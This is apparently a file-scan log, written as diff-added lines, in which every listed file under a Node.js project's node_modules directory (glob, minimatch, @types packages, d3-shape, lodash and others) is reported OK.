+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/assert-valid-pattern.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/ast.js: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/index.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/README.md: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/package.json: OK
+/scan/node_modules/js-beautify/node_modules/glob/LICENSE: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/bin.d.mts: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/walker.js: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/pattern.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/ignore.js.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/bin.mjs: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/has-magic.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/glob.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/pattern.js: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/processor.js: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/ignore.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/processor.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/index.js: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/has-magic.js: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/has-magic.js.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/pattern.js.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/glob.js.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/package.json: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/bin.mjs.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/walker.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/ignore.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/pattern.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/index.js.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/glob.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/ignore.js: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/walker.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/walker.js.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/index.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/glob.js: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/processor.js.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/has-magic.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/index.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/processor.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/esm/bin.d.mts.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/walker.js: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/pattern.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/ignore.js.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/has-magic.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/glob.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/pattern.js: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/processor.js: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/ignore.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/processor.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/index.js: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/has-magic.js: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/has-magic.js.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/pattern.js.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/glob.js.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/package.json: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/walker.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/ignore.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/pattern.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/index.js.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/glob.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/ignore.js: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/walker.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/walker.js.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/index.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/glob.js: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/processor.js.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/has-magic.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/index.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/dist/commonjs/processor.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/glob/README.md: OK
+/scan/node_modules/js-beautify/node_modules/glob/package.json: OK
+/scan/node_modules/js-beautify/README.md: OK
+/scan/node_modules/js-beautify/package.json: OK
+/scan/node_modules/@types/d3-shape/LICENSE: OK
+/scan/node_modules/@types/d3-shape/README.md: OK
+/scan/node_modules/@types/d3-shape/package.json: OK
+/scan/node_modules/@types/d3-shape/index.d.ts: OK
+/scan/node_modules/@types/express-serve-static-core/LICENSE: OK
+/scan/node_modules/@types/express-serve-static-core/README.md: OK
+/scan/node_modules/@types/express-serve-static-core/package.json: OK
+/scan/node_modules/@types/express-serve-static-core/index.d.ts: OK
+/scan/node_modules/@types/ms/LICENSE: OK
+/scan/node_modules/@types/ms/README.md: OK
+/scan/node_modules/@types/ms/package.json: OK
+/scan/node_modules/@types/ms/index.d.ts: OK
+/scan/node_modules/@types/methods/LICENSE: OK
+/scan/node_modules/@types/methods/README.md: OK
+/scan/node_modules/@types/methods/package.json: OK
+/scan/node_modules/@types/methods/index.d.ts: OK
+/scan/node_modules/@types/strip-json-comments/LICENSE: OK
+/scan/node_modules/@types/strip-json-comments/README.md: OK
+/scan/node_modules/@types/strip-json-comments/package.json: OK
+/scan/node_modules/@types/strip-json-comments/index.d.ts: OK
+/scan/node_modules/@types/d3-array/LICENSE: OK
+/scan/node_modules/@types/d3-array/README.md: OK
+/scan/node_modules/@types/d3-array/package.json: OK
+/scan/node_modules/@types/d3-array/index.d.ts: OK
+/scan/node_modules/@types/range-parser/LICENSE: OK
+/scan/node_modules/@types/range-parser/README.md: OK
+/scan/node_modules/@types/range-parser/package.json: OK
+/scan/node_modules/@types/range-parser/index.d.ts: OK
+/scan/node_modules/@types/supertest/LICENSE: OK
+/scan/node_modules/@types/supertest/types.d.ts: OK
+/scan/node_modules/@types/supertest/README.md: OK
+/scan/node_modules/@types/supertest/package.json: OK
+/scan/node_modules/@types/supertest/lib/test.d.ts: OK
+/scan/node_modules/@types/supertest/lib/agent.d.ts: OK
+/scan/node_modules/@types/supertest/index.d.ts: OK
+/scan/node_modules/@types/express/LICENSE: OK
+/scan/node_modules/@types/express/README.md: OK
+/scan/node_modules/@types/express/package.json: OK
+/scan/node_modules/@types/express/index.d.ts: OK
+/scan/node_modules/@types/d3-scale/LICENSE: OK
+/scan/node_modules/@types/d3-scale/README.md: OK
+/scan/node_modules/@types/d3-scale/package.json: OK
+/scan/node_modules/@types/d3-scale/index.d.ts: OK
+/scan/node_modules/@types/d3-color/LICENSE: OK
+/scan/node_modules/@types/d3-color/README.md: OK
+/scan/node_modules/@types/d3-color/package.json: OK
+/scan/node_modules/@types/d3-color/index.d.ts: OK
+/scan/node_modules/@types/d3-timer/LICENSE: OK
+/scan/node_modules/@types/d3-timer/README.md: OK
+/scan/node_modules/@types/d3-timer/package.json: OK
+/scan/node_modules/@types/d3-timer/index.d.ts: OK
+/scan/node_modules/@types/caseless/LICENSE: OK
+/scan/node_modules/@types/caseless/README.md: OK
+/scan/node_modules/@types/caseless/package.json: OK
+/scan/node_modules/@types/caseless/index.d.ts: OK
+/scan/node_modules/@types/jsonwebtoken/LICENSE: OK
+/scan/node_modules/@types/jsonwebtoken/README.md: OK
+/scan/node_modules/@types/jsonwebtoken/package.json: OK
+/scan/node_modules/@types/jsonwebtoken/index.d.ts: OK
+/scan/node_modules/@types/d3-interpolate/LICENSE: OK
+/scan/node_modules/@types/d3-interpolate/README.md: OK
+/scan/node_modules/@types/d3-interpolate/package.json: OK
+/scan/node_modules/@types/d3-interpolate/index.d.ts: OK
+/scan/node_modules/@types/qs/LICENSE: OK
+/scan/node_modules/@types/qs/README.md: OK
+/scan/node_modules/@types/qs/package.json: OK
+/scan/node_modules/@types/qs/index.d.ts: OK
+/scan/node_modules/@types/d3-time/LICENSE: OK
+/scan/node_modules/@types/d3-time/README.md: OK
+/scan/node_modules/@types/d3-time/package.json: OK
+/scan/node_modules/@types/d3-time/index.d.ts: OK
+/scan/node_modules/@types/strip-bom/README.md: OK
+/scan/node_modules/@types/strip-bom/package.json: OK
+/scan/node_modules/@types/strip-bom/types-metadata.json: OK
+/scan/node_modules/@types/strip-bom/index.d.ts: OK
+/scan/node_modules/@types/multer/LICENSE: OK
+/scan/node_modules/@types/multer/README.md: OK
+/scan/node_modules/@types/multer/package.json: OK
+/scan/node_modules/@types/multer/index.d.ts: OK
+/scan/node_modules/@types/superagent/LICENSE: OK
+/scan/node_modules/@types/superagent/types.d.ts: OK
+/scan/node_modules/@types/superagent/node_modules/form-data/License: OK
+/scan/node_modules/@types/superagent/node_modules/form-data/CHANGELOG.md: OK
+/scan/node_modules/@types/superagent/node_modules/form-data/README.md: OK
+/scan/node_modules/@types/superagent/node_modules/form-data/package.json: OK
+/scan/node_modules/@types/superagent/node_modules/form-data/lib/populate.js: OK
+/scan/node_modules/@types/superagent/node_modules/form-data/lib/form_data.js: OK
+/scan/node_modules/@types/superagent/node_modules/form-data/lib/browser.js: OK
+/scan/node_modules/@types/superagent/node_modules/form-data/index.d.ts: OK
+/scan/node_modules/@types/superagent/README.md: OK
+/scan/node_modules/@types/superagent/package.json: OK
+/scan/node_modules/@types/superagent/lib/agent-base.d.ts: OK
+/scan/node_modules/@types/superagent/lib/request-base.d.ts: OK
+/scan/node_modules/@types/superagent/lib/response-base.d.ts: OK
+/scan/node_modules/@types/superagent/lib/node/agent.d.ts: OK
+/scan/node_modules/@types/superagent/lib/node/http2wrapper.d.ts: OK
+/scan/node_modules/@types/superagent/lib/node/response.d.ts: OK
+/scan/node_modules/@types/superagent/lib/node/index.d.ts: OK
+/scan/node_modules/@types/superagent/index.d.ts: OK
+/scan/node_modules/@types/qrcode/LICENSE: OK
+/scan/node_modules/@types/qrcode/README.md: OK
+/scan/node_modules/@types/qrcode/package.json: OK
+/scan/node_modules/@types/qrcode/build/qrcode.d.ts: OK
+/scan/node_modules/@types/qrcode/build/qrcode.tosjis.d.ts: OK
+/scan/node_modules/@types/qrcode/index.d.ts: OK
+/scan/node_modules/@types/qrcode/helper/to-sjis.d.ts: OK
+/scan/node_modules/@types/react-dom/test-utils/index.d.ts: OK
+/scan/node_modules/@types/react-dom/LICENSE: OK
+/scan/node_modules/@types/react-dom/server.d.ts: OK
+/scan/node_modules/@types/react-dom/canary.d.ts: OK
+/scan/node_modules/@types/react-dom/experimental.d.ts: OK
+/scan/node_modules/@types/react-dom/README.md: OK
+/scan/node_modules/@types/react-dom/package.json: OK
+/scan/node_modules/@types/react-dom/index.d.ts: OK
+/scan/node_modules/@types/react-dom/client.d.ts: OK
+/scan/node_modules/@types/bcryptjs/LICENSE: OK
+/scan/node_modules/@types/bcryptjs/README.md: OK
+/scan/node_modules/@types/bcryptjs/package.json: OK
+/scan/node_modules/@types/bcryptjs/index.d.ts: OK
+/scan/node_modules/@types/long/LICENSE: OK
+/scan/node_modules/@types/long/README.md: OK
+/scan/node_modules/@types/long/package.json: OK
+/scan/node_modules/@types/long/index.d.ts: OK
+/scan/node_modules/@types/http-errors/LICENSE: OK
+/scan/node_modules/@types/http-errors/README.md: OK
+/scan/node_modules/@types/http-errors/package.json: OK
+/scan/node_modules/@types/http-errors/index.d.ts: OK
+/scan/node_modules/@types/node-cron/LICENSE: OK
+/scan/node_modules/@types/node-cron/README.md: OK
+/scan/node_modules/@types/node-cron/package.json: OK
+/scan/node_modules/@types/node-cron/index.d.ts: OK
+/scan/node_modules/@types/body-parser/LICENSE: OK
+/scan/node_modules/@types/body-parser/README.md: OK
+/scan/node_modules/@types/body-parser/package.json: OK
+/scan/node_modules/@types/body-parser/index.d.ts: OK
+/scan/node_modules/@types/cors/LICENSE: OK
+/scan/node_modules/@types/cors/README.md: OK
+/scan/node_modules/@types/cors/package.json: OK
+/scan/node_modules/@types/cors/index.d.ts: OK
+/scan/node_modules/@types/cookiejar/LICENSE: OK
+/scan/node_modules/@types/cookiejar/README.md: OK
+/scan/node_modules/@types/cookiejar/package.json: OK
+/scan/node_modules/@types/cookiejar/index.d.ts: OK
+/scan/node_modules/@types/serve-static/LICENSE: OK
+/scan/node_modules/@types/serve-static/node_modules/@types/send/LICENSE: OK
+/scan/node_modules/@types/serve-static/node_modules/@types/send/README.md: OK
+/scan/node_modules/@types/serve-static/node_modules/@types/send/package.json: OK
+/scan/node_modules/@types/serve-static/node_modules/@types/send/index.d.ts: OK
+/scan/node_modules/@types/serve-static/README.md: OK
+/scan/node_modules/@types/serve-static/package.json: OK
+/scan/node_modules/@types/serve-static/index.d.ts: OK
+/scan/node_modules/@types/d3-path/LICENSE: OK
+/scan/node_modules/@types/d3-path/README.md: OK
+/scan/node_modules/@types/d3-path/package.json: OK
+/scan/node_modules/@types/d3-path/index.d.ts: OK
+/scan/node_modules/@types/prop-types/LICENSE: OK
+/scan/node_modules/@types/prop-types/README.md: OK
+/scan/node_modules/@types/prop-types/package.json: OK
+/scan/node_modules/@types/prop-types/index.d.ts: OK
+/scan/node_modules/@types/mime/LICENSE: OK
+/scan/node_modules/@types/mime/lite.d.ts: OK
+/scan/node_modules/@types/mime/Mime.d.ts: OK
+/scan/node_modules/@types/mime/README.md: OK
+/scan/node_modules/@types/mime/package.json: OK
+/scan/node_modules/@types/mime/index.d.ts: OK
+/scan/node_modules/@types/request/LICENSE: OK
+/scan/node_modules/@types/request/README.md: OK
+/scan/node_modules/@types/request/package.json: OK
+/scan/node_modules/@types/request/index.d.ts: OK
+/scan/node_modules/@types/estree/LICENSE: OK
+/scan/node_modules/@types/estree/README.md: OK
+/scan/node_modules/@types/estree/flow.d.ts: OK
+/scan/node_modules/@types/estree/package.json: OK
+/scan/node_modules/@types/estree/index.d.ts: OK
+/scan/node_modules/@types/morgan/LICENSE: OK
+/scan/node_modules/@types/morgan/README.md: OK
+/scan/node_modules/@types/morgan/package.json: OK
+/scan/node_modules/@types/morgan/index.d.ts: OK
+/scan/node_modules/@types/node/compatibility/indexable.d.ts: OK
+/scan/node_modules/@types/node/compatibility/index.d.ts: OK
+/scan/node_modules/@types/node/compatibility/iterators.d.ts: OK
+/scan/node_modules/@types/node/compatibility/disposable.d.ts: OK
+/scan/node_modules/@types/node/path.d.ts: OK
+/scan/node_modules/@types/node/constants.d.ts: OK
+/scan/node_modules/@types/node/domain.d.ts: OK
+/scan/node_modules/@types/node/diagnostics_channel.d.ts: OK
+/scan/node_modules/@types/node/globals.d.ts: OK
+/scan/node_modules/@types/node/sea.d.ts: OK
+/scan/node_modules/@types/node/string_decoder.d.ts: OK
+/scan/node_modules/@types/node/tls.d.ts: OK
+/scan/node_modules/@types/node/tty.d.ts: OK
+/scan/node_modules/@types/node/punycode.d.ts: OK
+/scan/node_modules/@types/node/LICENSE: OK
+/scan/node_modules/@types/node/readline.d.ts: OK
+/scan/node_modules/@types/node/crypto.d.ts: OK
+/scan/node_modules/@types/node/trace_events.d.ts: OK
+/scan/node_modules/@types/node/events.d.ts: OK
+/scan/node_modules/@types/node/os.d.ts: OK
+/scan/node_modules/@types/node/buffer.d.ts: OK
+/scan/node_modules/@types/node/querystring.d.ts: OK
+/scan/node_modules/@types/node/worker_threads.d.ts: OK
+/scan/node_modules/@types/node/timers/promises.d.ts: OK
+/scan/node_modules/@types/node/console.d.ts: OK
+/scan/node_modules/@types/node/async_hooks.d.ts: OK
+/scan/node_modules/@types/node/stream/consumers.d.ts: OK
+/scan/node_modules/@types/node/stream/web.d.ts: OK
+/scan/node_modules/@types/node/stream/promises.d.ts: OK
+/scan/node_modules/@types/node/dns.d.ts: OK
+/scan/node_modules/@types/node/readline/promises.d.ts: OK
+/scan/node_modules/@types/node/vm.d.ts: OK
+/scan/node_modules/@types/node/web-globals/events.d.ts: OK
+/scan/node_modules/@types/node/web-globals/fetch.d.ts: OK
+/scan/node_modules/@types/node/web-globals/domexception.d.ts: OK
+/scan/node_modules/@types/node/web-globals/abortcontroller.d.ts: OK
+/scan/node_modules/@types/node/inspector.generated.d.ts: OK
+/scan/node_modules/@types/node/buffer.buffer.d.ts: OK
+/scan/node_modules/@types/node/timers.d.ts: OK
+/scan/node_modules/@types/node/test.d.ts: OK
+/scan/node_modules/@types/node/http.d.ts: OK
+/scan/node_modules/@types/node/http2.d.ts: OK
+/scan/node_modules/@types/node/stream.d.ts: OK
+/scan/node_modules/@types/node/assert/strict.d.ts: OK
+/scan/node_modules/@types/node/README.md: OK
+/scan/node_modules/@types/node/v8.d.ts: OK
+/scan/node_modules/@types/node/perf_hooks.d.ts: OK
+/scan/node_modules/@types/node/url.d.ts: OK
+/scan/node_modules/@types/node/cluster.d.ts: OK
+/scan/node_modules/@types/node/package.json: OK
+/scan/node_modules/@types/node/https.d.ts: OK
+/scan/node_modules/@types/node/assert.d.ts: OK
+/scan/node_modules/@types/node/fs.d.ts: OK
+/scan/node_modules/@types/node/repl.d.ts: OK
+/scan/node_modules/@types/node/dgram.d.ts: OK
+/scan/node_modules/@types/node/child_process.d.ts: OK
+/scan/node_modules/@types/node/zlib.d.ts: OK
+/scan/node_modules/@types/node/module.d.ts: OK
+/scan/node_modules/@types/node/globals.typedarray.d.ts: OK
+/scan/node_modules/@types/node/process.d.ts: OK
+/scan/node_modules/@types/node/util.d.ts: OK
+/scan/node_modules/@types/node/wasi.d.ts: OK
+/scan/node_modules/@types/node/index.d.ts: OK
+/scan/node_modules/@types/node/ts5.6/buffer.buffer.d.ts: OK
+/scan/node_modules/@types/node/ts5.6/globals.typedarray.d.ts: OK
+/scan/node_modules/@types/node/ts5.6/index.d.ts: OK
+/scan/node_modules/@types/node/dns/promises.d.ts: OK
+/scan/node_modules/@types/node/fs/promises.d.ts: OK
+/scan/node_modules/@types/node/net.d.ts: OK
+/scan/node_modules/@types/swagger-ui-express/LICENSE: OK
+/scan/node_modules/@types/swagger-ui-express/README.md: OK
+/scan/node_modules/@types/swagger-ui-express/package.json: OK
+/scan/node_modules/@types/swagger-ui-express/index.d.ts: OK
+/scan/node_modules/@types/connect/LICENSE: OK
+/scan/node_modules/@types/connect/README.md: OK
+/scan/node_modules/@types/connect/package.json: OK
+/scan/node_modules/@types/connect/index.d.ts: OK
+/scan/node_modules/@types/send/LICENSE: OK
+/scan/node_modules/@types/send/README.md: OK
+/scan/node_modules/@types/send/package.json: OK
+/scan/node_modules/@types/send/index.d.ts: OK
+/scan/node_modules/@types/tough-cookie/LICENSE: OK
+/scan/node_modules/@types/tough-cookie/README.md: OK
+/scan/node_modules/@types/tough-cookie/package.json: OK
+/scan/node_modules/@types/tough-cookie/index.d.ts: OK
+/scan/node_modules/@types/react/jsx-dev-runtime.d.ts: OK
+/scan/node_modules/@types/react/jsx-runtime.d.ts: OK
+/scan/node_modules/@types/react/LICENSE: OK
+/scan/node_modules/@types/react/canary.d.ts: OK
+/scan/node_modules/@types/react/experimental.d.ts: OK
+/scan/node_modules/@types/react/README.md: OK
+/scan/node_modules/@types/react/package.json: OK
+/scan/node_modules/@types/react/global.d.ts: OK
+/scan/node_modules/@types/react/ts5.0/jsx-dev-runtime.d.ts: OK
+/scan/node_modules/@types/react/ts5.0/jsx-runtime.d.ts: OK
+/scan/node_modules/@types/react/ts5.0/canary.d.ts: OK
+/scan/node_modules/@types/react/ts5.0/experimental.d.ts: OK
+/scan/node_modules/@types/react/ts5.0/global.d.ts: OK
+/scan/node_modules/@types/react/ts5.0/index.d.ts: OK
+/scan/node_modules/@types/react/index.d.ts: OK
+/scan/node_modules/@types/d3-ease/LICENSE: OK
+/scan/node_modules/@types/d3-ease/README.md: OK
+/scan/node_modules/@types/d3-ease/package.json: OK
+/scan/node_modules/@types/d3-ease/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/LICENSE: OK
+/scan/node_modules/@types/nodemailer/README.md: OK
+/scan/node_modules/@types/nodemailer/package.json: OK
+/scan/node_modules/@types/nodemailer/lib/smtp-pool/pool-resource.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/smtp-pool/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/addressparser/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/mime-node/last-newline.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/mime-node/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/ses-transport/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/mail-composer/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/base64/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/mailer/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/mailer/mail-message.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/shared/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/json-transport/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/stream-transport/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/fetch/cookies.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/fetch/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/well-known/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/xoauth2/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/sendmail-transport/le-windows.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/sendmail-transport/le-unix.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/sendmail-transport/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/smtp-connection/data-stream.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/smtp-connection/http-proxy-client.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/smtp-connection/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/qp/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/dkim/relaxed-body.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/dkim/message-parser.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/dkim/sign.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/dkim/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/mime-funcs/mime-types.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/mime-funcs/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/lib/smtp-transport/index.d.ts: OK
+/scan/node_modules/@types/nodemailer/index.d.ts: OK
+/scan/node_modules/@types/ws/LICENSE: OK
+/scan/node_modules/@types/ws/index.d.mts: OK
+/scan/node_modules/@types/ws/README.md: OK
+/scan/node_modules/@types/ws/package.json: OK
+/scan/node_modules/@types/ws/index.d.ts: OK
+/scan/node_modules/globals/globals.json: OK
+/scan/node_modules/globals/license: OK
+/scan/node_modules/globals/index.js: OK
+/scan/node_modules/globals/readme.md: OK
+/scan/node_modules/globals/package.json: OK
+/scan/node_modules/globals/index.d.ts: OK
+/scan/node_modules/d3-shape/LICENSE: OK
+/scan/node_modules/d3-shape/dist/d3-shape.min.js: OK
+/scan/node_modules/d3-shape/dist/d3-shape.js: OK
+/scan/node_modules/d3-shape/README.md: OK
+/scan/node_modules/d3-shape/package.json: OK
+/scan/node_modules/d3-shape/src/order/reverse.js: OK
+/scan/node_modules/d3-shape/src/order/none.js: OK
+/scan/node_modules/d3-shape/src/order/descending.js: OK
+/scan/node_modules/d3-shape/src/order/insideOut.js: OK
+/scan/node_modules/d3-shape/src/order/ascending.js: OK
+/scan/node_modules/d3-shape/src/order/appearance.js: OK
+/scan/node_modules/d3-shape/src/line.js: OK
+/scan/node_modules/d3-shape/src/pie.js: OK
+/scan/node_modules/d3-shape/src/symbol.js: OK
+/scan/node_modules/d3-shape/src/link.js: OK
+/scan/node_modules/d3-shape/src/curve/linearClosed.js: OK
+/scan/node_modules/d3-shape/src/curve/radial.js: OK
+/scan/node_modules/d3-shape/src/curve/basisOpen.js: OK
+/scan/node_modules/d3-shape/src/curve/linear.js: OK
+/scan/node_modules/d3-shape/src/curve/catmullRom.js: OK
+/scan/node_modules/d3-shape/src/curve/cardinalClosed.js: OK
+/scan/node_modules/d3-shape/src/curve/bundle.js: OK
+/scan/node_modules/d3-shape/src/curve/monotone.js: OK
+/scan/node_modules/d3-shape/src/curve/basis.js: OK
+/scan/node_modules/d3-shape/src/curve/natural.js: OK
+/scan/node_modules/d3-shape/src/curve/cardinalOpen.js: OK
+/scan/node_modules/d3-shape/src/curve/catmullRomClosed.js: OK
+/scan/node_modules/d3-shape/src/curve/cardinal.js: OK
+/scan/node_modules/d3-shape/src/curve/step.js: OK
+/scan/node_modules/d3-shape/src/curve/catmullRomOpen.js: OK
+/scan/node_modules/d3-shape/src/curve/bump.js: OK
+/scan/node_modules/d3-shape/src/curve/basisClosed.js: OK
+/scan/node_modules/d3-shape/src/index.js: OK
+/scan/node_modules/d3-shape/src/symbol/circle.js: OK
+/scan/node_modules/d3-shape/src/symbol/times.js: OK
+/scan/node_modules/d3-shape/src/symbol/triangle2.js: OK
+/scan/node_modules/d3-shape/src/symbol/star.js: OK
+/scan/node_modules/d3-shape/src/symbol/cross.js: OK
+/scan/node_modules/d3-shape/src/symbol/wye.js: OK
+/scan/node_modules/d3-shape/src/symbol/diamond.js: OK
+/scan/node_modules/d3-shape/src/symbol/plus.js: OK
+/scan/node_modules/d3-shape/src/symbol/square.js: OK
+/scan/node_modules/d3-shape/src/symbol/asterisk.js: OK
+/scan/node_modules/d3-shape/src/symbol/square2.js: OK
+/scan/node_modules/d3-shape/src/symbol/triangle.js: OK
+/scan/node_modules/d3-shape/src/symbol/diamond2.js: OK
+/scan/node_modules/d3-shape/src/pointRadial.js: OK
+/scan/node_modules/d3-shape/src/descending.js: OK
+/scan/node_modules/d3-shape/src/array.js: OK
+/scan/node_modules/d3-shape/src/offset/silhouette.js: OK
+/scan/node_modules/d3-shape/src/offset/diverging.js: OK
+/scan/node_modules/d3-shape/src/offset/none.js: OK
+/scan/node_modules/d3-shape/src/offset/wiggle.js: OK
+/scan/node_modules/d3-shape/src/offset/expand.js: OK
+/scan/node_modules/d3-shape/src/arc.js: OK
+/scan/node_modules/d3-shape/src/constant.js: OK
+/scan/node_modules/d3-shape/src/math.js: OK
+/scan/node_modules/d3-shape/src/lineRadial.js: OK
+/scan/node_modules/d3-shape/src/identity.js: OK
+/scan/node_modules/d3-shape/src/path.js: OK
+/scan/node_modules/d3-shape/src/area.js: OK
+/scan/node_modules/d3-shape/src/point.js: OK
+/scan/node_modules/d3-shape/src/areaRadial.js: OK
+/scan/node_modules/d3-shape/src/noop.js: OK
+/scan/node_modules/d3-shape/src/stack.js: OK
+/scan/node_modules/normalize-svg-path/test.mjs: OK
+/scan/node_modules/normalize-svg-path/license.md: OK
+/scan/node_modules/normalize-svg-path/index.js: OK
+/scan/node_modules/normalize-svg-path/Readme.md: OK
+/scan/node_modules/normalize-svg-path/package.json: OK
+/scan/node_modules/normalize-svg-path/index.mjs: OK
+/scan/node_modules/normalize-svg-path/.travis.yml: OK
+/scan/node_modules/normalize-svg-path/.eslintrc.json: OK
+/scan/node_modules/lodash.includes/LICENSE: OK
+/scan/node_modules/lodash.includes/index.js: OK
+/scan/node_modules/lodash.includes/README.md: OK
+/scan/node_modules/lodash.includes/package.json: OK
+/scan/node_modules/lodash/isRegExp.js: OK
+/scan/node_modules/lodash/_matchesStrictComparable.js: OK
+/scan/node_modules/lodash/gt.js: OK
+/scan/node_modules/lodash/_stringSize.js: OK
+/scan/node_modules/lodash/_baseIsArguments.js: OK
+/scan/node_modules/lodash/_baseInverter.js: OK
+/scan/node_modules/lodash/remove.js: OK
+/scan/node_modules/lodash/kebabCase.js: OK
+/scan/node_modules/lodash/_createInverter.js: OK
+/scan/node_modules/lodash/_initCloneArray.js: OK
+/scan/node_modules/lodash/_baseEach.js: OK
+/scan/node_modules/lodash/_Uint8Array.js: OK
+/scan/node_modules/lodash/number.js: OK
+/scan/node_modules/lodash/unionWith.js: OK
+/scan/node_modules/lodash/pullAt.js: OK
+/scan/node_modules/lodash/isInteger.js: OK
+/scan/node_modules/lodash/isSet.js: OK
+/scan/node_modules/lodash/rest.js: OK
+/scan/node_modules/lodash/isEqualWith.js: OK
+/scan/node_modules/lodash/_safeGet.js: OK
+/scan/node_modules/lodash/_baseMap.js: OK
+/scan/node_modules/lodash/isObjectLike.js: OK
